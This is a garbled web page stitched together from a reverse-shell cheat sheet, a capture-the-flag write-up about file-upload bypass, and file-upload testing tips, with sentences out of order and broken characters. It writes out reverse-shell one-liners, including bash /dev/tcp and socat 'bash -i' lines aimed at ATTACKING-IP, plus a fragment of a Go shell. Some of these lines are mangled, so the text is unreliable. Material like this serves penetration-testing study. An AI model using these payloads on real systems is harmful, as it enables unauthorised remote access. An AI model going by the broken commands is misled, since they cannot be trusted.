![]() For this we can use a PHP script to create a reverse shell or we can use a tool called weevely (hope i. Now we get a hint from the second task that says to check for file upload bypass and PHP reverse shell. The following shells exist within Kali Linux, under /usr/share/webshells/ these are only useful if you are able to upload, inject or transfer the shell to the machine. First we check the /panel/ directory and what appears in front of us is an panel for file uploading. Source: socat tcp:ip:port exec: 'bash -i' ,pty,stderr,setsid,sigint,sane & Golang Reverse Shell echo ' package main import "os/exec" import "net" func main ()' #!/usr/bin/gawk -f SVG to XSS - Check if you can upload SVG files and can turn them to cause XSS on the target app. Bash Reverse Shells exec /bin/bash 0&0 2>&0 0/dev/tcp/ATTACKING-IP/80 sh &196 2>&196 exec 5/dev/tcp/ATTACKING-IP/80Ĭat &5 >&5 done # or: while read line 0&5 >&5 done bash -i >& /dev/tcp/ATTACKING-IP/80 0>&1 socat Reverse Shell Upload zip file - test againts Zip slip (only when file upload supports zip file) Check Overwrite Issue - Upload file.txt and file.txt with different content and check if 2nd file.txt overwrites 1st file. If you're attacking machine is behing a NAT router, you'll need to setup a port forward to the attacking machines IP / Port.ĪTTACKING-IP is the machine running your listening netcat session, port 80 is used in all examples below (for reasons mentioned above). Your remote shell will need a listening netcat instance in order to connect back, a simple way to do this is using a cloud instance / VPS - Linode is a good choice as they give you a direct public IP so there is no NAT issues to worry about or debug, you can use this link to get a $100 Linode voucher. Updated to add the reverse shells submitted via Twitter - Original post date Setup Listening Netcat ![]() If you found this resource usefull you should also check out our penetration testing tools cheat sheet which has some additional reverse shells and other commands useful when performing penetration testing. Ultimately, I was able to gain root and hack the box. That allowed me to establish a reverse shell. I ended up using an alternative extension to upload a PHP file. ![]() At the bottom of the post are a collection of uploadable reverse shells, present in Kali Linux. For example, I had to research how to bypass file upload restrictions. During penetration testing if you’re lucky enough to find a remote command execution vulnerability, you’ll more often than not want to connect back to your attacking machine to leverage an interactive shell.īelow are a collection of Windows and Linux reverse shells that use commonly installed programming languages PHP, Python, Powershell, nc (Netcat), JSP, Java, Bash, PowerShell (PS).
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